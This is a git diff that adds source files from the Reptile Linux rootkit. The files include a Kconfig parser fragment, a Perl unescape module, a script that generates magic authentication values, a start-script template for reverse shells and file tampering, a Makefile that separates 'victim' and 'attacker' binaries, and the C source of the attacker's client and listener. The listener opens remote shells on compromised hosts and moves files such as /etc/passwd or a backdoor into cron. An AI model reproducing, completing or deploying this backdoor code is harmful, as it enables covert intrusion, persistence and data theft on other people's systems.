current_menu->file->name, current_menu->lineno, + zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + return true; +} + +static void zconfprint(const char *err, ...) +{ + va_list ap; + + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconf_error(const char *err, ...) +{ + va_list ap; + + zconfnerrs++; + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconferror(const char *err) +{ + fprintf(stderr, "%s:%d: %s\n", zconf_curname(), zconf_lineno() + 1, err); +} + +static void print_quoted_string(FILE *out, const char *str) +{ + const char *p; + int len; + + putc('"', out); + while ((p = strchr(str, '"'))) { + len = p - str; + if (len) + fprintf(out, "%.*s", len, str); + fputs("\\\"", out); + str = p + 1; + } + fputs(str, out); + putc('"', out); +} + +static void print_symbol(FILE *out, struct menu *menu) +{ + struct symbol *sym = menu->sym; + struct property *prop; + + if (sym_is_choice(sym)) + fprintf(out, "\nchoice\n"); + else + fprintf(out, "\nconfig %s\n", sym->name); + switch (sym->type) { + case S_BOOLEAN: + fputs(" boolean\n", out); + break; + case S_TRISTATE: + fputs(" tristate\n", out); + break; + case S_STRING: + fputs(" string\n", out); + break; + case S_INT: + fputs(" integer\n", out); + break; + case S_HEX: + fputs(" hex\n", out); + break; + default: + fputs(" ???\n", out); + break; + } + for (prop = sym->prop; prop; prop = prop->next) { + if (prop->menu != menu) + continue; + switch (prop->type) { + case P_PROMPT: + fputs(" prompt ", out); + print_quoted_string(out, prop->text); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_DEFAULT: + fputs( " default ", out); + expr_fprint(prop->expr, out); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_CHOICE: + fputs(" #choice value\n", out); + break; + case P_SELECT: + fputs( " select ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_RANGE: + fputs( " range ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_MENU: + fputs( " menu ", out); + print_quoted_string(out, prop->text); + fputc('\n', out); + break; + default: + fprintf(out, " unknown prop %d!\n", prop->type); + break; + } + } + if (menu->help) { + int len = strlen(menu->help); + while (menu->help[--len] == '\n') + menu->help[len] = 0; + fprintf(out, " help\n%s\n", menu->help); + } +} + +void zconfdump(FILE *out) +{ + struct property *prop; + struct symbol *sym; + struct menu *menu; + + menu = rootmenu.list; + while (menu) { + if ((sym = menu->sym)) + print_symbol(out, menu); + else if ((prop = menu->prompt)) { + switch (prop->type) { + case P_COMMENT: + fputs("\ncomment ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + case P_MENU: + fputs("\nmenu ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + default: + ; + } + if (!expr_is_yes(prop->visible.expr)) { + fputs(" depends ", out); + expr_fprint(prop->visible.expr, out); + fputc('\n', out); + } + } + + if (menu->list) + menu = menu->list; + else if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->prompt && menu->prompt->type == P_MENU) + fputs("\nendmenu\n", out); + if (menu->next) { + menu = menu->next; + break; + } + } + } +} + +#include "zconf.lex.c" +#include "util.c" +#include "confdata.c" +#include "expr.c" +#include "symbol.c" +#include "menu.c" diff --git a/Linux/Rootkits/Reptile/scripts/lib/Unescape.pm b/Linux/Rootkits/Reptile/scripts/lib/Unescape.pm new file mode 100644 index 0000000..d5d14c1 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/lib/Unescape.pm @@ -0,0 +1,228 @@ +package String::Unescape; + +use 5.008; +use strict; +use warnings; + +# ABSTRACT: Unescape perl-escaped string +our $VERSION = 'v0.0.3'; # VERSION + +require Exporter; +our (@EXPORT_OK) = qw(unescape); + +use Carp; + +my %map = ( + t => "\t", + n => "\n", + r => "\r", + f => "\f", + b => "\b", + a => "\a", + e => "\e", +); + +my %mapc = map { chr($_) => chr($_ ^ 0x60) } 97..122; + +my %convs = ( + l => sub { lcfirst shift }, + u => sub { ucfirst shift }, +); + +my %convp = ( + L => sub { lc shift }, + U => sub { uc shift }, + Q => sub { quotemeta shift }, +); + +if($^V ge v5.16.0) { + # All constant stringy eval so this should be safe. + eval q{use feature qw(fc); $convp{F} = sub { fc(shift) };}; ## no critic (ProhibitStringyEval) +} else { + $convp{F} = sub { 'F'.shift }; # \E omitted +} + +my $from_code = sub { chr(hex(shift)); }; +my $from_name; + +if($^V ge v5.14.0) { + $from_name = sub { + my $name = shift; + return charnames::string_vianame($name) || die "Unknown charname $name"; + }; +} else { + $from_name = sub { + my $name = shift; + my $code = charnames::vianame($name); + die "Unknown charname $name" if ! defined $code; + return chr($code); + }; +} + +my $re_single = qr/ + \\([tnrfbae]) | # $1 : one char + \\c(.) | # $2 : control + \\x\{([0-9a-fA-F]*)[^}]*\} | # $3 : \x{} + \\x([0-9a-fA-F]{0,2}) | # $4 : \x + \\([0-7]{1,3}) | # $5 : \077 + \\o\{([0-7]*)([^}]*)\} | # $6, $7 : \o{} + \\N\{U\+([^}]*)\} | # $8 : \N{U+} + \\N\{([^}]*)\} | # $9 : \N{name} + + \\(l|u)(.?) | # $10, $11 : \l, \u + \\E | # + \\?(.) # $12 +/xs; + +my $convert_single = sub { + require charnames if defined $8 || defined $9; + + return $map{$1} if defined $1; + return exists $mapc{$2} ? $mapc{$2} : chr(ord($2) ^ 0x40) if defined $2; + return chr(hex($3)) if defined $3; + return chr(hex($4)) if defined $4; + return chr(oct($5)) if defined $5; + return chr(oct($6)) if defined $6 && $^V ge v5.14.0; + return 'o{'.$6.$7.'}' if defined $6; +# TODO: Need to check invalid cases + return $from_code->($8) if defined $8; + return $from_name->($9) if defined $9; + return $convs{$10}($11) if defined $10; + return $12 if defined $12; + return ''; # \E +}; + +my $apply_single = sub { + my $target = shift; + while($target =~ s/\G$re_single/$convert_single->()/gxse) { + last unless defined pos($target); + } + return $target; +}; + +# NOTE: I'm not sure the reason, but my $_re_recur; causes a error. +our $_re_recur; +$_re_recur = qr/ + \\([LUQF]) + (?:(?>(?:[^\\]|\\[^LUQFE])+)|(??{$_re_recur}))* + (?:\\E|\Z) +/xs; + +my $re_range = qr/ + ((?:[^\\]|\\[^LUQF])*) # $1: pre + (?: + \\([LUQF]) # $2: marker + ((?:(?>(?:[^\\]|\\[^LUQFE])+)|(??{$_re_recur}))*) # $3: content + (?:\\E|\Z) + )* +/xs; + +my $apply_range; + +my $convert_range = sub { + my ($pre, $marker, $content) = @_; + return + (defined $pre ? $apply_single->($pre) : ''). + (defined $marker ? $convp{$marker}($apply_range->($content)) : ''); +}; + +$apply_range = sub { + my $target = shift; + while($target =~ s/\G$re_range/$convert_range->($1, $2, $3)/gxse) { + last unless defined pos($target); + } + return $target; +}; + +sub unescape +{ + shift if @_ && eval { $_[0]->isa(__PACKAGE__); }; + croak 'No string is given' unless @_; + croak 'More than one argument are given' unless @_ == 1; + + return $apply_range->($_[0]); +} + +1; + +__END__ + +=pod + +=head1 NAME + +String::Unescape - Unescape perl-escaped string + +=head1 VERSION + +version v0.0.3 + +=head1 SYNOPSIS + + # Call as class method + print String::Unescape->unescape('\t\c@\x41\n'); + + # Call as function + use String::Escape qw(unescape); + print unescape('\t\c@\x41\n'); + +=head1 DESCRIPTION + +This module provides just one function, Perl's unescaping without variable interpolation. Sometimes, I want to provide a string including a character difficult to represent without escaping, outside from Perl. Also, sometimes, I can not rely on shell expansion. + + # App-count + count -t '\t' + +C can handle this situation but it has too more power than required. This is the purpose for this module. + +This module is intented to be compatible with Perl's native unescaping as much as possible, with the following limitation. +If the result is different from one by Perl beyond the limitation, it is considered as a bug. Please report it. + +=head2 LIMITATION + +There are the following exceptions that Perl's behavior is not emulated. + +=over 4 + +=item 1 + +Whether warning is produced or not. + +=item 2 + +Strings that perl doesn't accept. For those strings, the results by this module are undefined. + +=item 3 + +\L in \U and \U in \L. By perl, they are not stacked, which means all \Q, \L, \U and \F (if available) modifiers from the prior \L, \U or \F become to have no effect then restart the new \L, \U or \F conversion. By this module, stacked. + +=item 4 + +\L\u and \U\l. By Perl, they are swapped as \u\L and \l\U, respectively. By this module, not swapped. + +=back + +For 3 and 4, t/quirks_in_perl.t contains actual examples. + +=head1 METHODS + +=head2 C + +Returns unescaped C<$str>. For escaping, see L. + +=head1 REMARKS + +L in Perl 5.6 does not have required functionality that is Unicode name E-E code conversion in runtime, thus Perl 5.6 support is explicitly dropped. + +=head1 AUTHOR + +Yasutaka ATARASHI + +=head1 COPYRIGHT AND LICENSE + +This software is copyright (c) 2013 by Yasutaka ATARASHI. + +This is free software; you can redistribute it and/or modify it under +the same terms as the Perl 5 programming language system itself. + +=cut diff --git a/Linux/Rootkits/Reptile/scripts/random.sh b/Linux/Rootkits/Reptile/scripts/random.sh new file mode 100644 index 0000000..146d2a0 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/random.sh @@ -0,0 +1,24 @@ +#!/bin/bash + +function random_gen_hex { + RETVAL=$(cat /dev/urandom | head -c $1 | hexdump '-e"%x"') +} + +# Will be used one day +function random_gen_dec { + RETVAL=$(shuf -i 1-65535 -n 1) +} + +random_gen_hex 4 +AUTH=0x$RETVAL +random_gen_hex 4 +HTUA=0x$RETVAL + +cat >> $1 < +# +# YOU SHOULD PUT YOUR CUSTOM START ROUTINE HERE +# +#SHELL -t LHOST -p LPORT -s PASS -r INTERVAL +# +# This script should be executed after all hooks +# raise up, to enable us use reptile features on +# its start up. Then the file-tampering feature +# starts disabled to enable load this script +# properly. So, after all, we should enable +# file-tampering again +# +#CMD file-tampering +# +# Actually, there is no need to hide file content +# of this script, because if someone tries to +# investigate this, it means Reptile was get caught. +# But I am going to let this script as it is now ;) +# +# \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/userland/Makefile b/Linux/Rootkits/Reptile/userland/Makefile new file mode 100644 index 0000000..6cbd8da --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/Makefile @@ -0,0 +1,54 @@ +CC=gcc +CFLAGS+=-O3 -fPIC +INCLUDES+=-Iinclude +RM=rm -rf +BUILD_DIR?=$(PWD)/output +DESTRINGIFY=perl ../scripts/destringify.pl +CAT=cat +DEP_SRC=crypto/aes.c crypto/sha1.c transport/pel.c + +include ../.config + +shell: CFLAGS+=-DNAME=\"$(HIDE)\" -DAUTH=$(AUTH) -DHTUA=$(HTUA) +cmd: CFLAGS+=-DAUTH=$(AUTH) -DHTUA=$(HTUA) + +# Rules + +all: shell cmd + +# Those binaries will stay in the victim machine + +shell: build_dir + @ echo " CC $(BUILD_DIR)/shell" + @ $(CAT) shell.c | $(DESTRINGIFY) | $(CC) $(INCLUDES) $(CFLAGS) $(EXTRA_FLAGS) $(DEP_SRC) -o $(BUILD_DIR)/shell -xc - -lutil + @ strip $(BUILD_DIR)/shell + +cmd: build_dir + @ echo " CC $(BUILD_DIR)/cmd" + @ $(CAT) cmd.c | $(DESTRINGIFY) | $(CC) $(INCLUDES) $(CFLAGS) -o $(BUILD_DIR)/cmd -xc - + @ strip $(BUILD_DIR)/cmd + +# Those binaries will stay in the attacker machine + +listener: build_dir + @ echo " CC $(BUILD_DIR)/listener" + @ $(CC) $(INCLUDES) $(CFLAGS) $(DEP_SRC) client/listener.c -o $(BUILD_DIR)/listener -lreadline + @ strip $(BUILD_DIR)/listener + +packet: build_dir + @ echo " CC $(BUILD_DIR)/packet" + @ $(CC) $(INCLUDES) $(CFLAGS) client/packet.c -o $(BUILD_DIR)/packet + @ strip $(BUILD_DIR)/packet + +client: build_dir + @ echo " CC $(BUILD_DIR)/client" + @ $(CC) $(INCLUDES) $(CFLAGS) client/client.c -o $(BUILD_DIR)/client -lreadline + @ strip $(BUILD_DIR)/client + +.PHONY : clean + +build_dir: + @ mkdir -p $(BUILD_DIR) + +clean: + @ $(RM) $(BUILD_DIR) \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/userland/client/client.c b/Linux/Rootkits/Reptile/userland/client/client.c new file mode 100644 index 0000000..4c46eac --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/client/client.c @@ -0,0 +1,604 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "util.h" + +pid_t pid; +char *listener, *packet; + +char *var_str[] = {"lhost", "lport", "srchost", "srcport", "rhost", + "rport", "prot", "pass", "token"}; + +char *var_str_up[] = {"LHOST", "LPORT", "SRCHOST", "SRCPORT", "RHOST", + "RPORT", "PROT", "PASS", "TOKEN"}; + +char *description[] = {"Local host to receive the shell", + "Local port to receive the shell", + "Source host on magic packets (spoof)", + "Source port on magic packets (only for TCP/UDP)", + "Remote host", + "Remote port (only for TCP/UDP)", + "Protocol to send magic packet (ICMP/TCP/UDP)", + "Backdoor password (optional)", + "Token to trigger the shell"}; + +int num_variables = 9; //() { return sizeof(var_str) / sizeof(char *); } +char *var_array[] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL}; + +int help(char **args); +int __exit(char **args); +int set(char **args); +int unset(char **args); +int show(char **args); +int run(char **args); +int export(char **args); +int load(char **args); + +char *builtin_str[] = {"help", "set", "unset", "show", "run", "export", "load", "exit"}; +int (*builtin_func[])(char **) = {&help, &set, &unset, &show, &run, &export, &load, &__exit}; + +int num_builtins() +{ return sizeof(builtin_str) / sizeof(char *); } + +int launch(char **args) +{ + pid_t pid; + int status; + + pid = fork(); + if (pid == 0) { + if (execvp(args[0], args) == -1) { + perror("execvp"); + } + exit(EXIT_FAILURE); + } else if (pid < 0) { + perror("fork"); + } else { + do { + waitpid(pid, &status, WUNTRACED); + } while (!WIFEXITED(status) && !WIFSIGNALED(status)); + } + + return 1; +} + +void help_set() +{ + fprintf(stdout, "%s \n", builtin_str[1]); + fprintf(stdout, "Example: set LHOST 192.168.0.2\n"); +} + +void help_unset() +{ + fprintf(stdout, "%s \n", builtin_str[2]); + fprintf(stdout, "Example: unset RHOST\n"); +} + +void help_conf(int i) +{ + fprintf(stdout, "%s \n", builtin_str[i]); + fprintf(stdout, "Example: %s client.conf\n", builtin_str[i]); +} + +void no_help() +{ + fprintf(stdout, "This command doesn't need help\n"); +} + +int help(char **args) +{ + if (args[0] == NULL) + return 1; + + if (args[1] != NULL) { + if (strcmp(args[1], builtin_str[0]) == 0) { + no_help(); + } else if (strcmp(args[1], builtin_str[1]) == 0) { + help_set(); + } else if (strcmp(args[1], builtin_str[2]) == 0) { + help_unset(); + } else if (strcmp(args[1], builtin_str[3]) == 0) { + no_help(); + } else if (strcmp(args[1], builtin_str[4]) == 0) { + no_help(); + } else if (strcmp(args[1], builtin_str[5]) == 0) { + help_conf(5); + } else if (strcmp(args[1], builtin_str[6]) == 0) { + help_conf(6); + } else if (strcmp(args[1], builtin_str[7]) == 0) { + no_help(); + } else { + fprintf(stdout, "This command is not valid!\n"); + } + } else { + fprintf(stdout, "\n\e[01;36mReptile Client\e[00m\n"); + fprintf(stdout, "\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n"); + fprintf(stdout, "\t%s\t\tShow this help\n", builtin_str[0]); + fprintf(stdout, "\t%s\t\tSet value to a variable\n", builtin_str[1]); + fprintf(stdout, "\t%s\t\tUnset value to a variable\n", builtin_str[2]); + fprintf(stdout, "\t%s\t\tShow the current configuration\n", builtin_str[3]); + fprintf(stdout, "\t%s\t\tRun the listener and send the magic packet\n", builtin_str[4]); + fprintf(stdout, "\t%s\t\tExport a configuration to a file\n", builtin_str[5]); + fprintf(stdout, "\t%s\t\tLoad a configuration from a file\n", builtin_str[6]); + fprintf(stdout, "\t%s\t\tExit this shell\n\n", builtin_str[7]); + fprintf(stdout, "Type: \"help \" to see specific help\n"); + } + + fprintf(stdout, "\n"); + return 1; +} + +int __exit(char **args) +{ + int i; + + if (args[0] == NULL) + return 1; + + for (i = 0; i < num_variables; i++) { + if (var_array[i]) + free(var_array[i]); + + var_array[i] = NULL; + } + + if (listener) + free(listener); + + if (packet) + free(packet); + + fprintf(stdout, "\n"); + return 0; +} + +int set(char **args) +{ + int i; + + if (args[0] == NULL) + return 1; + + if (args[1] == NULL || args[2] == NULL) { + fprintf(stdout, "%s wrong syntax!\n", bad); + return 1; + } + + for (i = 0; i < num_variables; i++) { + if (strcmp(args[1], var_str[i]) == 0 || + strcmp(args[1], var_str_up[i]) == 0) { + if (var_array[i]) + free(var_array[i]); + + var_array[i] = strdup(args[2]); + fprintf(stdout, "%s %s -> %s\n", good, args[1], + args[2]); + return 1; + } + } + + fprintf(stdout, "%s wrong parameter!\n", bad); + return 1; +} + +int unset(char **args) +{ + int i; + + if (args[0] == NULL) + return 1; + + if (args[1] == NULL) { + fprintf(stdout, "%s wrong syntax!\n", bad); + return 1; + } + + for (i = 0; i < num_variables; i++) { + if (strcmp(args[1], var_str[i]) == 0 || + strcmp(args[1], var_str_up[i]) == 0) { + if (var_array[i]) + free(var_array[i]); + + var_array[i] = NULL; + fprintf(stdout, "%s %s -> UNSET\n", good, args[1]); + return 1; + } + } + + fprintf(stdout, "%s wrong parameter!\n", bad); + return 1; +} + +int show(char **args) +{ + int i; + + if (args[0] == NULL) + return 1; + + fprintf(stdout, "\n"); + fprintf(stdout, "\e[00;33mVAR\t\tVALUE\t\t\tDESCRIPTION\e[00m\n\n"); + + for (i = 0; i < num_variables; i++) { + if (var_array[i]) { + if (strlen(var_array[i]) >= 8) { + fprintf(stdout, "%s\t\t%s\t\t%s\n", + var_str_up[i], var_array[i], + description[i]); + } else if (strlen(var_array[i]) >= 16) { + fprintf(stdout, "%s\t\t%s\t%s\n", var_str_up[i], + var_array[i], description[i]); + } else { + fprintf(stdout, "%s\t\t%s\t\t\t%s\n", + var_str_up[i], var_array[i], + description[i]); + } + } else { + fprintf(stdout, "%s\t\t \t\t\t%s\n", var_str_up[i], + description[i]); + } + } + + fprintf(stdout, "\n"); + return 1; +} + +void interrupt(int signal) +{ + fprintf(stdout, "\r"); + fflush(stdout); + fprintf(stdout, "%s Interrupted: %d\n", warn, signal); +} + +int run(char **args) +{ + pid_t pid, pid2; + int status; + //char *envp[1] = {NULL}; + + if (args[0] == NULL) + return 1; + + if (!var_array[0]) { + fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[0]); + return 1; + } + + if (!var_array[1]) { + fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[1]); + return 1; + } + + if (!var_array[2]) { + fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[2]); + return 1; + } + + if (!var_array[4]) { + fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[4]); + return 1; + } + + if (!var_array[6]) { + fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[6]); + return 1; + } + + if (!var_array[8]) { + fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[8]); + return 1; + } + + if (!(strcmp(var_array[6], "icmp") == 0 || + strcmp(var_array[6], "ICMP") == 0)) { + if (!var_array[3]) { + fprintf(stdout, "%s %s is not defined!\n", bad, + var_str_up[3]); + return 1; + } + + if (!var_array[5]) { + fprintf(stdout, "%s %s is not defined!\n", bad, + var_str_up[5]); + return 1; + } + } + + char *arg_listener[] = {listener, "-p", var_array[1], "-s", + var_array[7], NULL, NULL}; + + char *arg_packet[] = {packet, "-t", var_array[4], "-x", + var_array[6], "-s", var_array[2], "-l", + var_array[0], "-p", var_array[1], "-k", + var_array[8], "-q", var_array[3], "-r", + var_array[5], NULL, NULL}; + + pid = fork(); + + if (pid == -1) + fatal("on forking proccess"); + + if (pid > 0) { + signal(SIGTERM, interrupt); + signal(SIGINT, interrupt); + + do { + waitpid(pid, &status, WUNTRACED); + } while (!WIFEXITED(status) && !WIFSIGNALED(status)); + } + + if (pid == 0) { + pid2 = fork(); + + if (pid2 == -1) + fatal("on forking proccess"); + + if (pid2 > 0) { + if (var_array[7] == NULL) { + arg_listener[3] = NULL; + arg_listener[4] = NULL; + } + if (execvp(arg_listener[0], arg_listener) == -1) + fprintf(stderr, "%s listener could not be launched\n", bad); + } + + if (pid2 == 0) { + if (strcmp(var_array[6], "icmp") == 0 || + strcmp(var_array[6], "ICMP") == 0) { + arg_packet[13] = NULL; + arg_packet[14] = NULL; + arg_packet[15] = NULL; + arg_packet[16] = NULL; + } + usleep(100 * 1500); + + if (execvp(arg_packet[0], arg_packet) == -1) { + fprintf(stderr, "%s packet could not be launched\n", bad); + kill(pid2, SIGINT); + } + } + } + + return 1; +} + +/* + * Thanks aliyuchang33 for suggesting this! ;) + * + * https://github.com/f0rb1dd3n/Reptile/pull/61/commits/0482eeff93c5b3f9097f7e06e2b2a0fcf248eb8e + * + */ + +int export(char **args) +{ + int vars; + FILE *confile; + + if (args[0] == NULL) + return 1; + + if (args[1] == NULL) { + fprintf(stdout, "%s wrong syntax!\n", bad); + return 1; + } + + if (!(confile = fopen(args[1], "w+"))) { + fprintf(stderr, "%s Cannot open config file\n", bad); + return 1; + } + + for (vars = 0; vars < 9; vars++) + fprintf(confile, "%s\n", var_array[vars]); + + fclose(confile); + fprintf(stdout, "%s Configuration exported\n", good); + return 1; +} + +int load(char **args) +{ + int vars; + FILE *confile; + + if (args[0] == NULL) + return 1; + + if (args[1] == NULL) { + fprintf(stdout, "%s wrong syntax!\n", bad); + return 1; + } + + if (!(confile = fopen(args[1], "r+"))) { + fprintf(stderr, "%s Cannot open config file\n", bad); + return 1; + } + + for (vars = 0; vars < 9; vars++) { + char arg[50] = {0}; + fgets(arg, 50, confile); + + if (strcmp(arg, "(null)\n")) { + arg[strlen(arg) - 1] = '\0'; + var_array[vars] = strdup(arg); + } + } + + fclose(confile); + fprintf(stdout, "%s Configuration loaded\n", good); + return 1; +} + +int execute(char **args) +{ + int i; + + if (args[0] == NULL) + return 1; + + for (i = 0; i < num_builtins(); i++) { + if (strcmp(args[0], builtin_str[i]) == 0) + return (*builtin_func[i])(args); + } + + return launch(args); +} + +char *read_line(void) +{ + int bufsize = RL_BUFSIZE; + int position = 0; + char *buffer = malloc(sizeof(char) * bufsize); + int c; + + if (!buffer) { + fprintf(stderr, "reptile: allocation error\n"); + exit(EXIT_FAILURE); + } + + while (1) { + c = getchar(); + + if (c == EOF) { + free(buffer); + exit(EXIT_SUCCESS); + } else if (c == '\n') { + buffer[position] = '\0'; + return buffer; + } else { + buffer[position] = c; + } + position++; + + if (position >= bufsize) { + bufsize += RL_BUFSIZE; + char *buffer_backup = buffer; + if ((buffer = realloc(buffer, bufsize)) == NULL) { + free(buffer_backup); + fprintf(stderr, "reptile: allocation error\n"); + exit(EXIT_FAILURE); + } + } + } +} + +char **parse(char *line) +{ + int bufsize = TOK_BUFSIZE, position = 0; + char **tokens = malloc(bufsize * sizeof(char *)); + char *token, **tokens_backup; + + if (!tokens) { + fprintf(stderr, "reptile: allocation error\n"); + exit(EXIT_FAILURE); + } + + token = strtok(line, TOK_DELIM); + while (token != NULL) { + tokens[position] = token; + position++; + + if (position >= bufsize) { + bufsize += TOK_BUFSIZE; + tokens_backup = tokens; + tokens = realloc(tokens, bufsize * sizeof(char *)); + if (!tokens) { + free(tokens_backup); + fprintf(stderr, "reptile: allocation error\n"); + exit(EXIT_FAILURE); + } + } + + token = strtok(NULL, TOK_DELIM); + } + tokens[position] = NULL; + return tokens; +} + +void client_loop() +{ + char *line; + char **args; + int status; + + do { + line = readline("\e[00;31mreptile-client> \e[00m"); + add_history(line); + + args = parse(line); + status = execute(args); + + free(line); + free(args); + } while (status); + + clear_history(); +} + +int main() +{ + int len; + char *pwd = get_current_dir_name(); + + system("clear"); + printf("\n\e[01;36mReptile Client\e[00m\n"); + printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n"); + banner2(); + printf("\n"); + + len = strlen(pwd); + + listener = (char *)malloc(len + 10); + + if (!listener) + fatal("malloc"); + + packet = (char *)malloc(len + 8); + + if (!packet) { + free(listener); + fatal("malloc"); + } + + bzero(listener, len + 10); + bzero(packet, len + 8); + + strcpy(listener, pwd); + strcat(listener, "/listener"); + + strcpy(packet, pwd); + strcat(packet, "/packet"); + + pid = fork(); + + if (pid == -1) + fatal("on forking proccess"); + + if (pid > 0) + client_loop(); + + // if (pid == 0) + // background job + + return EXIT_SUCCESS; +} diff --git a/Linux/Rootkits/Reptile/userland/client/listener.c b/Linux/Rootkits/Reptile/userland/client/listener.c new file mode 100644 index 0000000..0385508 --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/client/listener.c @@ -0,0 +1,808 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "config.h" +#include "pel.h" +#include "util.h" + +extern char *optarg; +unsigned char message[BUFSIZE + 1]; +char *password = NULL; +int sockfd; +pid_t pid; + +int help(int sock, char **args); +int __exit(int sock, char **args); +int shell(int sock, char **args); +int get_file(int sock, char **args); +int put_file(int sock, char **args); +int delay(int sock, char **args); + +char *builtin_str[] = {"help", "download", "upload", "shell", "delay", "exit"}; +int (*builtin_func[])(int sock, char **) = {&help, &get_file, &put_file, + &shell, &delay, &__exit}; + +int num_builtins() { return sizeof(builtin_str) / sizeof(char *); } + +void pel_error(char *s) +{ + switch (pel_errno) { + case PEL_CONN_CLOSED: + fprintf(stderr, "%s %s: Connection closed.\n", bad, s); + break; + + case PEL_SYSTEM_ERROR: + p_error(s); + break; + + case PEL_WRONG_CHALLENGE: + fprintf(stderr, "%s %s: Wrong challenge.\n", bad, s); + break; + + case PEL_BAD_MSG_LENGTH: + fprintf(stderr, "%s %s: Bad message length.\n", bad, s); + break; + + case PEL_CORRUPTED_DATA: + fprintf(stderr, "%s %s: Corrupted data.\n", bad, s); + break; + + case PEL_UNDEFINED_ERROR: + fprintf(stderr, "%s %s: No error.\n", bad, s); + break; + + default: + fprintf(stderr, "%s %s: Unknown error code.\n", bad, s); + break; + } +} + +void help_download() +{ + fprintf(stdout, "%s \n", builtin_str[1]); + fprintf(stdout, "Example: download /etc/passwd /tmp\n"); +} + +void help_upload() +{ + fprintf(stdout, "%s \n", builtin_str[2]); + fprintf(stdout, "Example: upload /root/backdoor /etc/cron.daily\n"); +} + +void help_delay() +{ + fprintf(stdout, "%s \n", builtin_str[4]); + fprintf(stdout, "Example: delay 3600\n\n"); + fprintf(stdout, "%s Use \"delay 0\" if you don't wanna a " + "connecion every X time\n", warn); +} + +void no_help() +{ + fprintf(stdout, "This command doesn't need help\n"); +} + +int help(int sock, char **args) +{ + if (args[0] == NULL && sock == -1) + return 1; + + if (args[1] != NULL) { + if (strcmp(args[1], builtin_str[0]) == 0) { + no_help(); + } else if (strcmp(args[1], builtin_str[1]) == 0) { + help_download(); + } else if (strcmp(args[1], builtin_str[2]) == 0) { + help_upload(); + } else if (strcmp(args[1], builtin_str[3]) == 0) { + no_help(); + } else if (strcmp(args[1], builtin_str[4]) == 0) { + help_delay(); + } else if (strcmp(args[1], builtin_str[5]) == 0) { + no_help(); + } else { + fprintf(stdout, "This command is not valid!\n"); + } + } else { + fprintf(stdout, "\n\e[01;36mReptile Shell\e[00m\n"); + fprintf(stdout, "\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n"); + fprintf(stdout, "\t%s\t\tShow this help\n", builtin_str[0]); + fprintf(stdout, "\t%s\tDownload a file from host\n", builtin_str[1]); + fprintf(stdout, "\t%s\t\tUpload a file to host\n", builtin_str[2]); + fprintf(stdout, "\t%s\t\tOpen a full TTY interactive shell\n", builtin_str[3]); + fprintf(stdout, "\t%s\t\tSet time to reverse shell connect\n", builtin_str[4]); + fprintf(stdout, "\t%s\t\tExit this shell\n\n", builtin_str[5]); + fprintf(stdout, "Type: \"help \" to see specific help\n"); + } + + fprintf(stdout, "\n"); + return 1; +} + +int __exit(int sock, char **args) +{ + if (args[0] == NULL && sock == -1) + return 1; + + pel_send_msg(sock, (unsigned char *)EXIT, EXIT_LEN); + fprintf(stdout, "\n"); + return 0; +} + +int shell(int sock, char **args) +{ + fd_set rd; + char *term, *temp; + int ret, len, imf, i, size; + struct winsize ws; + struct termios tp, tr; + + if (args[0] == NULL && sock == -1) + return 1; + + term = getenv("TERM"); + + if (term == NULL) + term = "vt100"; + + len = strlen(term); + + ret = pel_send_msg(sock, (unsigned char *)term, len); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + return 1; + } + + imf = 0; + + if (isatty(0)) { + imf = 1; + + if (ioctl(0, TIOCGWINSZ, &ws) < 0) { + p_error("ioctl(TIOCGWINSZ)"); + return 1; + } + } else { + ws.ws_row = 25; + ws.ws_col = 80; + } + + message[0] = (ws.ws_row >> 8) & 0xFF; + message[1] = (ws.ws_row) & 0xFF; + message[2] = (ws.ws_col >> 8) & 0xFF; + message[3] = (ws.ws_col) & 0xFF; + + ret = pel_send_msg(sock, message, 4); + + if (ret != PEL_SUCCESS) { + pel_error("pel_send_msg"); + return 1; + } + + if (strcmp(args[0], builtin_str[3]) == 0) { + temp = (char *)malloc(2); + + if (!temp) { + p_error("malloc"); + return 1; + } + + temp[0] = RUNSHELL; + temp[1] = '\0'; + fprintf(stdout, "\n"); + } else { + size = 1; + len = 0; + + temp = (char *)malloc(size); + + if (!temp) { + p_error("malloc"); + return 1; + } + + while (args[len] != NULL) { + size++; + size += strlen(args[len]); + char *temp_backup = temp; + if ((temp = realloc(temp, size)) == NULL) { + free(temp_backup); + p_error("realloc"); + return 1; + } + len++; + } + + memset(temp, '\0', size); + + for (i = 0; i < len; i++) { + strcat(temp, args[i]); + strcat(temp, " 